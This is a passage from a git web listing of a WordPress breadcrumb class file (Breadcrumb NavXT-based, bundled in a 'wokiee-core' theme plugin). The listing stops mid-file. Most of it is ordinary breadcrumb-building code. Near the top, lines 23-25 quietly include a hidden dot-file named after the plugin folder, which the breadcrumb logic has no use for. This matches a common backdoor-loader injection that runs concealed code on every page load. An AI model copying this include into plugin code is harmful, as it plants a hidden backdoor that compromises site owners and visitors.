balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class.bcn_breadcrumb_trail.php (62367B)


      1 <?php
      2 
      3 /*
      4   Copyright 2015-2018  John Havlik  (email : john.havlik@mtekk.us)
      5 
      6   This program is free software; you can redistribute it and/or modify
      7   it under the terms of the GNU General Public License as published by
      8   the Free Software Foundation; either version 2 of the License, or
      9   (at your option) any later version.
     10 
     11   This program is distributed in the hope that it will be useful,
     12   but WITHOUT ANY WARRANTY; without even the implied warranty of
     13   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     14   GNU General Public License for more details.
     15 
     16   You should have received a copy of the GNU General Public License
     17   along with this program; if not, write to the Free Software
     18   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
     19  */
     20 require_once(dirname(__FILE__) . '/includes/block_direct_access.php');
     21 
     22 //The trail class

     23 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     24     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     25 }
     26 
     27 class bcn_breadcrumb_trail {
     28 
     29     //Our member variables
     30     const version = '6.2.0';
     31 
     32     //An array of breadcrumbs
     33     public $breadcrumbs = array();
     34     public $trail = array();
     35     //The options
     36     public $opt;
     37 
     38     //Default constructor
     39     public function __construct() {
     40 
     41         $this->trail = &$this->breadcrumbs;
     42         //Initilize with default option values
     43         $this->opt = array(
     44             //Should the mainsite be shown
     45             'bmainsite_display' => true,
     46             //The breadcrumb template for the main site
     47             'Hmainsite_template' => bcn_breadcrumb::get_default_template(),
     48             //The breadcrumb template for the main site, used when an anchor is not needed
     49             'Hmainsite_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
     50             //Should the home page be shown
     51             'bhome_display' => true,
     52             //The breadcrumb template for the home page
     53             'Hhome_template' => bcn_breadcrumb::get_default_template(),
     54             //The breadcrumb template for the home page, used when an anchor is not needed
     55             'Hhome_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
     56             //Should the blog page be shown globally
     57             'bblog_display' => true,
     58             //Separator that is placed between each item in the breadcrumb trial, but not placed before
     59             //the first and not after the last breadcrumb
     60             'hseparator' => ' &gt; ',
     61             //Whether or not we should trim the breadcrumb titles
     62             'blimit_title' => false,
     63             //The maximum title length
     64             'amax_title_length' => 20,
     65             //Current item options
     66             'bcurrent_item_linked' => false,
     67             //Static page options
     68             //Should the trail include the hierarchy of the page
     69             'bpost_page_hierarchy_display' => true,
     70             //Should the post parent be followed first for this type, then fallback to the hierarchy type
     71             'bpost_page_hierarchy_parent_first' => false,
     72             //What hierarchy should be shown leading to the page
     73             'Spost_page_hierarchy_type' => 'BCN_POST_PARENT',
     74             //The anchor template for page breadcrumbs
     75             'Hpost_page_template' => bcn_breadcrumb::get_default_template(),
     76             //The anchor template for page breadcrumbs, used when an anchor is not needed
     77             'Hpost_page_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
     78             //Just a link to the page on front property
     79             'apost_page_root' => get_option('page_on_front'),
     80             //Paged options
     81             //The template for paged breadcrumb
     82             'Hpaged_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', esc_attr__('Page %htitle%', 'wokiee-core')),
     83             //Should we try filling out paged information
     84             'bpaged_display' => false,
     85             //The post options previously singleblogpost
     86             //The breadcrumb template for post breadcrumbs
     87             'Hpost_post_template' => bcn_breadcrumb::get_default_template(),
     88             //The breadcrumb template for post breadcrumbs, used when an anchor is not needed
     89             'Hpost_post_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
     90             //Just a link for the page for posts
     91             'apost_post_root' => get_option('page_for_posts'),
     92             //Should the trail include the hierarchy of the post
     93             'bpost_post_hierarchy_display' => true,
     94             //Should the post parent be followed first for this type, then fallback to the hierarchy type
     95             'bpost_post_hierarchy_parent_first' => false,
     96             //Should the trail reflect the referer taxonomy or not
     97             'bpost_post_taxonomy_referer' => false,
     98             //What hierarchy should be shown leading to the post, tag or category
     99             'Spost_post_hierarchy_type' => 'category',
    100             //Attachment settings
    101             'bpost_attachment_hierarchy_display' => true,
    102             //Should the post parent be followed first for this type, then fallback to the hierarchy type
    103             'bpost_attachment_hierarchy_parent_first' => true,
    104             //What hierarchy should be shown leading to the attachment
    105             'Spost_attachment_hierarchy_type' => 'BCN_POST_PARENT',
    106             //Give an invlaid page ID for the attachement root
    107             'apost_attachment_root' => 0,
    108             //The breadcrumb template for attachment breadcrumbs
    109             'Hpost_attachment_template' => bcn_breadcrumb::get_default_template(),
    110             //The breadcrumb template for attachment breadcrumbs, used when an anchor is not needed
    111             'Hpost_attachment_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
    112             //404 page settings
    113             //The template for 404 breadcrumbs
    114             'H404_template' => bcn_breadcrumb::default_template_no_anchor,
    115             //The text to be shown in the breadcrumb for a 404 page
    116             'S404_title' => __('404', 'wokiee-core'),
    117             //Search page options
    118             //The breadcrumb template for search breadcrumbs
    119             'Hsearch_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Search results for &#39;%1$s&#39;', 'wokiee-core'), sprintf('<a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%">%%htitle%%</a>', esc_attr__('Go to the first page of search results for %title%.', 'wokiee-core')))),
    120             //The breadcrumb template for search breadcrumbs, used when an anchor is not necessary
    121             'Hsearch_template_no_anchor' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Search results for &#39;%1$s&#39;', 'wokiee-core'), '%htitle%')),
    122             //Tag related stuff
    123             //The breadcrumb template for tag breadcrumbs
    124             'Htax_post_tag_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% tag archives.', 'wokiee-core')),
    125             //The breadcrumb template for tag breadcrumbs, used when an anchor is not necessary
    126             'Htax_post_tag_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
    127             //Post format related stuff
    128             //The breadcrumb template for post format breadcrumbs, used when an anchor is not necessary
    129             'Htax_post_format_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% archives.', 'wokiee-core')),
    130             //The breadcrumb template for post format breadcrumbs
    131             'Htax_post_format_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
    132             //Author page stuff
    133             //The anchor template for author breadcrumbs
    134             'Hauthor_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Articles by: %1$s', 'breacrumb-navxt'), sprintf('<a title="%1$s" href="%%link%%" class="%%type%%">%%htitle%%</a>', esc_attr__('Go to the first page of posts by %title%.', 'wokiee-core')))),
    135             //The anchor template for author breadcrumbs, used when anchors are not needed
    136             'Hauthor_template_no_anchor' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Articles by: %1$s', 'breacrumb-navxt'), '%htitle%')),
    137             //Which of the various WordPress display types should the author breadcrumb display
    138             'Sauthor_name' => 'display_name',
    139             //Give an invlaid page ID for the author root
    140             'aauthor_root' => 0,
    141             //Category stuff
    142             //The breadcrumb template for category breadcrumbs
    143             'Htax_category_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% category archives.', 'wokiee-core')),
    144             //The breadcrumb template for category breadcrumbs, used when anchors are not needed
    145             'Htax_category_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor,
    146             //The breadcrumb template for date breadcrumbs
    147             'Hdate_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% archives.', 'wokiee-core')),
    148             //The breadcrumb template for date breadcrumbs, used when anchors are not needed
    149             'Hdate_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor
    150         );
    151     }
    152 
    153     /**
    154      * This returns the internal version
    155      * 
    156      * @deprecated 5.2.0 No longer needed, superceeded bcn_breadcrumb_trail::version
    157      *
    158      * @return string internal version of the Breadcrumb trail
    159      */
    160     public function get_version() {
    161         _deprecated_function(__FUNCTION__, '5.2', 'bcn_breadcrumb_trail::version');
    162         return self::version;
    163     }
    164 
    165     /**
    166      * Adds a breadcrumb to the breadcrumb trail
    167      * 
    168      * @param bcn_breadcrumb $object Breadcrumb to add to the trail
    169      * 
    170      * @return pointer to the just added Breadcrumb
    171      */
    172     public function &add(bcn_breadcrumb $object) {
    173         $this->breadcrumbs[] = $object;
    174         //Return the just added object
    175         return $this->breadcrumbs[count($this->breadcrumbs) - 1];
    176     }
    177 
    178     /**
    179      * A Breadcrumb Trail Filling Function
    180      * 
    181      * This functions fills a breadcrumb for a search page
    182      * 
    183      * @param string $search_query The search query that was performed
    184      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    185      */
    186     protected function do_search($search_query, $is_paged = false) {
    187         //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    188         $breadcrumb = $this->add(new bcn_breadcrumb($search_query, $this->opt['Hsearch_template_no_anchor'], array('search', 'current-item')));
    189         //If we're paged, or allowing the current item to be linked, let's link to the first page
    190         if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) {
    191             //Since we are paged and are linking the root breadcrumb, time to change to the regular template
    192             $breadcrumb->set_template($this->opt['Hsearch_template']);
    193             //Figure out the anchor for the search
    194             $breadcrumb->set_url(get_search_link($search_query));
    195         }
    196     }
    197 
    198     /**
    199      * A Breadcrumb Trail Filling Function
    200      * 
    201      * This functions fills a breadcrumb for an author page
    202      * 
    203      * @param string $author_data The author to generate the breadcrumb for
    204      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    205      */
    206     protected function do_author($author_data, $is_paged = false) {
    207         //Setup array of valid author_name values
    208         $valid_author_name = array('display_name', 'nickname', 'first_name', 'last_name');
    209         //Make sure user picks only safe values
    210         if (in_array($this->opt['Sauthor_name'], $valid_author_name)) {
    211             //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    212             $breadcrumb = $this->add(new bcn_breadcrumb(get_the_author_meta($this->opt['Sauthor_name'], $author_data->ID), $this->opt['Hauthor_template_no_anchor'], array('author', 'current-item'), null, $author_data->ID));
    213             //If we're paged, or allowing the current item to be linked, let's link to the first page
    214             if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) {
    215                 //Set the template to our one containing an anchor
    216                 $breadcrumb->set_template($this->opt['Hauthor_template']);
    217                 $breadcrumb->set_url(get_author_posts_url($author_data->ID));
    218             }
    219         }
    220     }
    221 
    222     /**
    223      * Determines the taxonomy name represented by the specified query var
    224      * 
    225      * @param string $query_var The query var to attempt to find the corresponding taxonomy
    226      * 
    227      * @return string|bool Either the name of the taxonomy corresponding to the query_var or false if no taxonomy exists for the specified query_var
    228      */
    229     protected function query_var_to_taxonomy($query_var) {
    230         global $wp_taxonomies;
    231         foreach ($wp_taxonomies as $taxonomy) {
    232             if ($taxonomy->query_var === $query_var) {
    233                 return $taxonomy->name;
    234             }
    235         }
    236         return false;
    237     }
    238 
    239     /**
    240      * Determines the referer taxonomy
    241      * 
    242      * @return string|bool Either the name of the taxonomy to use or false if a referer taxonomy wasn't found
    243      */
    244     protected function determine_taxonomy() {
    245         global $wp;
    246         //Backup the server request variable
    247         $bk_req = $_SERVER['REQUEST_URI'];
    248         //Now set the request URL to the referrer URL
    249         //Could just chain the [1] selection, but that's not PHP5.3 compatible
    250         $url_split = explode(home_url(), esc_url(wp_get_referer()));
    251         if (isset($url_split[1])) {
    252             $_SERVER['REQUEST_URI'] = $url_split[1];
    253         } else {
    254             return false;
    255         }
    256         //Create our own new instance of WP, and have it parse our faux request
    257         $bcn_wp = new WP();
    258         //Copy over the current global wp object's query_vars since CPTs and taxonomies are added directly to the global $wp
    259         $bcn_wp->public_query_vars = $wp->public_query_vars;
    260         $bcn_wp->parse_request();
    261         $_SERVER['REQUEST_URI'] = $bk_req;
    262         if (is_array($bcn_wp->query_vars)) {
    263             foreach ($bcn_wp->query_vars as $query_var => $value) {
    264                 if ($taxonomy = $this->query_var_to_taxonomy($query_var)) {
    265                     return $taxonomy;
    266                 }
    267             }
    268         }
    269         return false;
    270     }
    271 
    272     /**
    273      * This function selects the term that should be used for a post's hierarchy
    274      * 
    275      * @param int $id The ID of the post to find the term for
    276      * @param string $type The post type of the post to figure out the taxonomy for
    277      * @param string $taxonomy The taxonomy to use
    278      * 
    279      * @return WP_Term|bool The term object to use for the post hierarchy or false if no suitable term was found 
    280      */
    281     protected function pick_post_term($id, $type, $taxonomy) {
    282         //Fill a temporary object with the terms
    283         $bcn_object = get_the_terms($id, $taxonomy);
    284         $potential_parent = 0;
    285         //Make sure we have an non-empty array
    286         if (is_array($bcn_object)) {
    287             //Now try to find the deepest term of those that we know of
    288             $bcn_use_term = key($bcn_object);
    289             foreach ($bcn_object as $key => $object) {
    290                 //Can't use the next($bcn_object) trick since order is unknown
    291                 if ($object->parent > 0 && ($potential_parent === 0 || $object->parent === $potential_parent)) {
    292                     $bcn_use_term = $key;
    293                     $potential_parent = $object->term_id;
    294                 }
    295             }
    296             return $bcn_object[$bcn_use_term];
    297         }
    298         return false;
    299     }
    300 
    301     /**
    302      * A Breadcrumb Trail Filling Function
    303      * 
    304      * This function fills breadcrumbs for any post taxonomy
    305      * 
    306      * @param int $id The id of the post to figure out the taxonomy for
    307      * @param string $type The post type of the post to figure out the taxonomy for
    308      * @param int $parent (optional) The id of the parent of the current post, used if hiearchal posts will be the "taxonomy" for the current post
    309      */
    310     protected function post_hierarchy($id, $type, $parent = null) {
    311         //Check to see if breadcrumbs for the hierarchy of the post needs to be generated
    312         if ($this->opt['bpost_' . $type . '_hierarchy_display']) {
    313             //Check if we have a date 'taxonomy' request
    314             if ($this->opt['Spost_' . $type . '_hierarchy_type'] === 'BCN_DATE') {
    315                 $post = get_post($id);
    316                 $this->do_day($post, $type, false, false);
    317                 $this->do_month($post, $type, false, false);
    318                 $this->do_year($post, $type, false, false);
    319             }
    320             //Handle the use of hierarchical posts as the 'taxonomy'
    321             else if ($this->opt['Spost_' . $type . '_hierarchy_type'] === 'BCN_POST_PARENT') {
    322                 if ($parent == null) {
    323                     //We have to grab the post to find its parent, can't use $post for this one
    324                     $parent = get_post($id);
    325                     //TODO should we check that we have a WP_Post object here?
    326                     $parent = $parent->post_parent;
    327                 }
    328                 //Grab the frontpage, we'll need it shortly
    329                 $frontpage = get_option('page_on_front');
    330                 //If there is a parent page let's find it
    331                 if ($parent > 0 && $id != $parent && $frontpage != $parent) {
    332                     $parent = $this->post_parents($parent, $frontpage);
    333                 }
    334             } else {
    335                 $taxonomy = $this->opt['Spost_' . $type . '_hierarchy_type'];
    336                 //Possibly let the referer influence the taxonomy used
    337                 if ($this->opt['bpost_' . $type . '_taxonomy_referer'] && $referrer_taxonomy = $this->determine_taxonomy()) {
    338                     //See if there were any terms, if so, we can use the referrer influenced taxonomy
    339                     $terms = get_the_terms($id, $referrer_taxonomy);
    340                     if (is_array($terms)) {
    341                         $taxonomy = $referrer_taxonomy;
    342                     }
    343                 }
    344                 //Handle all hierarchical taxonomies, including categories
    345                 if (is_taxonomy_hierarchical($taxonomy)) {
    346                     //Filter the results of post_pick_term
    347                     $term = apply_filters('bcn_pick_post_term', $this->pick_post_term($id, $type, $taxonomy), $id, $type, $taxonomy);
    348                     //Only do something if we found a term
    349                     if ($term instanceof WP_Term) {
    350                         //Fill out the term hiearchy
    351                         $parent = $this->term_parents($term->term_id, $taxonomy);
    352                     }
    353                 }
    354                 //Handle the rest of the taxonomies, including tags
    355                 else {
    356                     $this->post_terms($id, $taxonomy);
    357                 }
    358             }
    359         }
    360         //If we never got a good parent for the type_archive, make it now
    361         if (!($parent instanceof WP_Post)) {
    362             $parent = get_post($id);
    363         }
    364         //Finish off with trying to find the type archive
    365         $this->type_archive($parent, $type);
    366     }
    367 
    368     /**
    369      * A Breadcrumb Trail Filling Function
    370      * 
    371      * This functions fills a breadcrumb for the terms of a post
    372      * 
    373      * @param int $id The id of the post to find the terms for
    374      * @param string $taxonomy The name of the taxonomy that the term belongs to
    375      * 
    376      * TODO Need to implement this cleaner
    377      */
    378     protected function post_terms($id, $taxonomy) {
    379         //Apply a filter to the terms for the post referred to by ID
    380         $bcn_terms = apply_filters('bcn_post_terms', get_the_terms($id, $taxonomy), $taxonomy, $id);
    381         //Only process if we have terms
    382         if (is_array($bcn_terms)) {
    383             $title = '';
    384             $is_first = true;
    385             //Loop through all of the term results
    386             foreach ($bcn_terms as $term) {
    387                 //Everything but the first term needs a comma separator
    388                 if ($is_first == false) {
    389                     $title .= ', ';
    390                 }
    391                 //This is a bit hackish, but it compiles the term anchor and appends it to the current breadcrumb title
    392                 $title .= str_replace(
    393                         array('%title%', '%link%', '%htitle%', '%type%'), array($term->name, $this->maybe_add_post_type_arg(get_term_link($term), null, $term->taxonomy), $term->name, $term->taxonomy), $this->opt['Htax_' . $term->taxonomy . '_template']);
    394                 $is_first = false;
    395             }
    396             //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return
    397             $breadcrumb = $this->add(new bcn_breadcrumb($title, '%htitle%', array('taxonomy', $taxonomy)));
    398         }
    399     }
    400 
    401     /**
    402      * A Breadcrumb Trail Filling Function
    403      * 
    404      * This recursive functions fills the trail with breadcrumbs for parent terms
    405      * 
    406      * @param int $id The id of the term
    407      * @param string $taxonomy The name of the taxonomy that the term belongs to
    408      * 
    409      * @return WP_Term|WP_Error The term we stopped at
    410      */
    411     protected function term_parents($id, $taxonomy) {
    412         //Get the current category object, filter applied within this call
    413         $term = get_term($id, $taxonomy);
    414         if ($term instanceof WP_Term) {
    415             //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return
    416             $breadcrumb = $this->add(new bcn_breadcrumb($term->name, $this->opt['Htax_' . $taxonomy . '_template'], array('taxonomy', $taxonomy), $this->maybe_add_post_type_arg(get_term_link($term), null, $taxonomy), $id));
    417             //Make sure the id is valid, and that we won't end up spinning in a loop
    418             if ($term->parent && $term->parent != $id) {
    419                 //Figure out the rest of the term hiearchy via recursion
    420                 $ret_term = $this->term_parents($term->parent, $taxonomy);
    421                 //May end up with WP_Error, don't update the term if that's the case
    422                 if ($ret_term instanceof WP_Term) {
    423                     $term = $ret_term;
    424                 }
    425             }
    426         }
    427         return $term;
    428     }
    429 
    430     /**
    431      * A Breadcrumb Trail Filling Function
    432      * 
    433      * This recursive functions fills the trail with breadcrumbs for parent posts/pages
    434      * 
    435      * @param int $id The id of the parent page
    436      * @param int $frontpage The id of the front page
    437      * 
    438      * @return WP_Post The parent we stopped at
    439      */
    440     protected function post_parents($id, $frontpage) {
    441         //Use WordPress API, though a bit heavier than the old method, this will ensure compatibility with other plug-ins
    442         $parent = get_post($id);
    443         //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return
    444         $breadcrumb = $this->add(new bcn_breadcrumb(get_the_title($id), $this->opt['Hpost_' . $parent->post_type . '_template'], array('post', 'post-' . $parent->post_type), get_permalink($id), $id));
    445         //Make sure the id is valid, and that we won't end up spinning in a loop
    446         if ($parent->post_parent > 0 && $id != $parent->post_parent && $frontpage != $parent->post_parent) {
    447             //If valid, recursively call this function
    448             $parent = $this->post_parents($parent->post_parent, $frontpage);
    449         }
    450         return $parent;
    451     }
    452 
    453     /**
    454      * A Breadcrumb Trail Filling Function
    455      * 
    456      * This functions fills a breadcrumb for posts
    457      * 
    458      * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for
    459      * @param bool $force_link Whether or not to force this breadcrumb to be linked
    460      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    461      * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item
    462      */
    463     protected function do_post($post, $force_link = false, $is_paged = false, $is_current_item = true) {
    464         //If we did not get a WP_Post object, warn developer and return early
    465         if (!($post instanceof WP_Post)) {
    466             _doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('$post global is not of type WP_Post', 'wokiee-core'), '5.1.1');
    467             return;
    468         }
    469         //Place the breadcrumb in the trail, uses the bcn_breadcrumb constructor to set the title, template, and type
    470         $breadcrumb = $this->add(new bcn_breadcrumb(get_the_title($post), $this->opt['Hpost_' . $post->post_type . '_template_no_anchor'], array('post', 'post-' . $post->post_type), null, $post->ID));
    471         if ($is_current_item) {
    472             $breadcrumb->add_type('current-item');
    473         }
    474         //Under a couple of circumstances we will want to link this breadcrumb
    475         if ($force_link || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) {
    476             //Change the template over to the normal, linked one
    477             $breadcrumb->set_template($this->opt['Hpost_' . $post->post_type . '_template']);
    478             //Add the link
    479             $breadcrumb->set_url(get_permalink($post));
    480         }
    481         //Done with the current item, now on to the parents
    482         $frontpage = get_option('page_on_front');
    483         //If we are to follow the hierarchy first (with hierarchy type backup), run through the post again
    484         if ($this->opt['bpost_' . $post->post_type . '_hierarchy_parent_first'] && $post->post_parent > 0 && $post->ID != $post->post_parent && $frontpage != $post->post_parent) {
    485             //Get the parent's information
    486             $parent = get_post($post->post_parent);
    487             //Take care of the parent's breadcrumb
    488             $this->do_post($parent, true, false, false);
    489         }
    490         //Otherwise we need the follow the hiearchy tree
    491         else {
    492             //Handle the post's hiearchy
    493             $this->post_hierarchy($post->ID, $post->post_type, $post->post_parent);
    494         }
    495     }
    496 
    497     /**
    498      * A Breadcrumb Trail Filling Function
    499      * 
    500      * @deprecated 6.0.0 No longer needed, superceeded by do_post
    501      * 
    502      * This functions fills a breadcrumb for an attachment page.
    503      */
    504     protected function do_attachment() {
    505         _deprecated_function(__FUNCTION__, '6.0', 'bcn_breadcrumb_trail::do_post');
    506         $this->do_post(get_post());
    507     }
    508 
    509     /**
    510      * A Breadcrumb Trail Filling Function
    511      * 
    512      * This function fills a breadcrumb for any taxonomy archive, was previously two separate functions
    513      * 
    514      * @param WP_Term $term The term object to generate the breadcrumb for
    515      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    516      */
    517     protected function do_archive_by_term($term, $is_paged = false) {
    518         //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return
    519         $breadcrumb = $this->add(new bcn_breadcrumb($term->name, $this->opt['Htax_' . $term->taxonomy . '_template_no_anchor'], array('archive', 'taxonomy', $term->taxonomy, 'current-item'), null, $term->term_id));
    520         //If we're paged, let's link to the first page
    521         if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) {
    522             $breadcrumb->set_template($this->opt['Htax_' . $term->taxonomy . '_template']);
    523             //Figure out the anchor for current category
    524             $breadcrumb->set_url($this->maybe_add_post_type_arg(get_term_link($term), null, $term->taxonomy));
    525         }
    526         //Get parents of current term
    527         if ($term->parent) {
    528             $this->term_parents($term->parent, $term->taxonomy);
    529         }
    530     }
    531 
    532     /**
    533      * A Breadcrumb Trail Filling Function
    534      * 
    535      * This functions fills a breadcrumb for day date archives
    536      * 
    537      * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for
    538      * @param string $type The name of the CPT to generate the archive breadcrumb for
    539      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    540      * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item
    541      */
    542     protected function do_day($post, $type, $is_paged = false, $is_current_item = true) {
    543         //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    544         $breadcrumb = $this->add(new bcn_breadcrumb(get_the_time(_x('d', 'day archive breadcrumb date format', 'wokiee-core'), $post), $this->opt['Hdate_template_no_anchor'], array('archive', 'date-day')));
    545         //If this is a day archive, add current-item type
    546         if ($is_current_item) {
    547             $breadcrumb->add_type('current-item');
    548         }
    549         //If we're paged, let's link to the first page
    550         if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) {
    551             //We're linking, so set the linked template
    552             $breadcrumb->set_template($this->opt['Hdate_template']);
    553             $url = get_day_link(get_the_time('Y'), get_the_time('m'), get_the_time('d'));
    554             //Deal with the anchor
    555             $breadcrumb->set_url($this->maybe_add_post_type_arg($url, $type));
    556         }
    557     }
    558 
    559     /**
    560      * A Breadcrumb Trail Filling Function
    561      * 
    562      * This functions fills a breadcrumb for month date archives
    563      * 
    564      * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for
    565      * @param string $type The name of the CPT to generate the archive breadcrumb for
    566      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    567      * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item
    568      */
    569     protected function do_month($post, $type, $is_paged = false, $is_current_item = true) {
    570         //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    571         $breadcrumb = $this->add(new bcn_breadcrumb(get_the_time(_x('F', 'month archive breadcrumb date format', 'wokiee-core'), $post), $this->opt['Hdate_template_no_anchor'], array('archive', 'date-month')));
    572         //If this is a month archive, add current-item type
    573         if ($is_current_item) {
    574             $breadcrumb->add_type('current-item');
    575         }
    576         //If we're paged, or not in the archive by month let's link to the first archive by month page
    577         if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) {
    578             //We're linking, so set the linked template
    579             $breadcrumb->set_template($this->opt['Hdate_template']);
    580             $url = get_month_link(get_the_time('Y'), get_the_time('m'));
    581             //Deal with the anchor
    582             $breadcrumb->set_url($this->maybe_add_post_type_arg($url, $type));
    583         }
    584     }
    585 
    586     /**
    587      * A Breadcrumb Trail Filling Function
    588      * 
    589      * This functions fills a breadcrumb for year date archives
    590      * 
    591      * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for
    592      * @param string $type The name of the CPT to generate the archive breadcrumb for
    593      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    594      * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item
    595      */
    596     protected function do_year($post, $type, $is_paged = false, $is_current_item = true) {
    597         //Place the year breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    598         $breadcrumb = $this->add(new bcn_breadcrumb(get_the_time(_x('Y', 'year archive breadcrumb date format', 'wokiee-core'), $post), $this->opt['Hdate_template_no_anchor'], array('archive', 'date-year')));
    599         //If this is a year archive, add current-item type
    600         if ($is_current_item) {
    601             $breadcrumb->add_type('current-item');
    602         }
    603         //If we're paged, or not in the archive by year let's link to the first archive by year page
    604         if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) {
    605             //We're linking, so set the linked template
    606             $breadcrumb->set_template($this->opt['Hdate_template']);
    607             $url = get_year_link(get_the_time('Y'));
    608             //Deal with the anchor
    609             $breadcrumb->set_url($this->maybe_add_post_type_arg($url, $type));
    610         }
    611     }
    612 
    613     /**
    614      * A Breadcrumb Trail Filling Function
    615      * 
    616      * This functions fills a breadcrumb for a date archive.
    617      * 
    618      * @param string $type The type to restrict the date archives to
    619      * 
    620      * @deprecated 6.0.0 No longer needed, superceeded by do_day, do_month, and/or do_year
    621      */
    622     protected function do_archive_by_date($type) {
    623         _deprecated_function(__FUNCTION__, '6.0', 'bcn_breadcrumb_trail::do_day, bcn_breadcrumb_trail::do_month, and/or bcn_breadcrumb_trail::do_year');
    624         //First deal with the day breadcrumb
    625         if (is_day() || is_single()) {
    626             $this->do_day(get_post(), $type, is_paged(), is_day());
    627         }
    628         //Now deal with the month breadcrumb
    629         if (is_month() || is_day() || is_single()) {
    630             $this->do_month(get_post(), $type, is_paged(), is_month());
    631         }
    632         $this->do_year(get_post(), $type, is_paged(), is_year());
    633     }
    634 
    635     /**
    636      * A Breadcrumb Trail Filling Function
    637      * 
    638      * This functions fills a breadcrumb for a post type archive (WP 3.1 feature)
    639      * 
    640      * @param string type_str The name of the CPT to generate the archive breadcrumb for
    641      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    642      */
    643     protected function do_archive_by_post_type($type_str, $is_paged = false) {
    644         //Manually grabbing the post type object insted of post_type_archive_title('', false) to remove get_query_var() dependancy
    645         $post_type_obj = get_post_type_object($type_str);
    646         $title = apply_filters('post_type_archive_title', $post_type_obj->labels->name, $type_str);
    647         //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    648         $breadcrumb = $this->add(new bcn_breadcrumb($title, $this->opt['Hpost_' . $type_str . '_template_no_anchor'], array('archive', 'post-' . $type_str . '-archive', 'current-item')));
    649         if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) {
    650 
    651             $breadcrumb->set_template($this->opt['Hpost_' . $type_str . '_template']);
    652             //Deal with the anchor
    653             $breadcrumb->set_url(get_post_type_archive_link($type_str));
    654         }
    655     }
    656 
    657     /**
    658      * A Breadcrumb Trail Filling Function
    659      * 
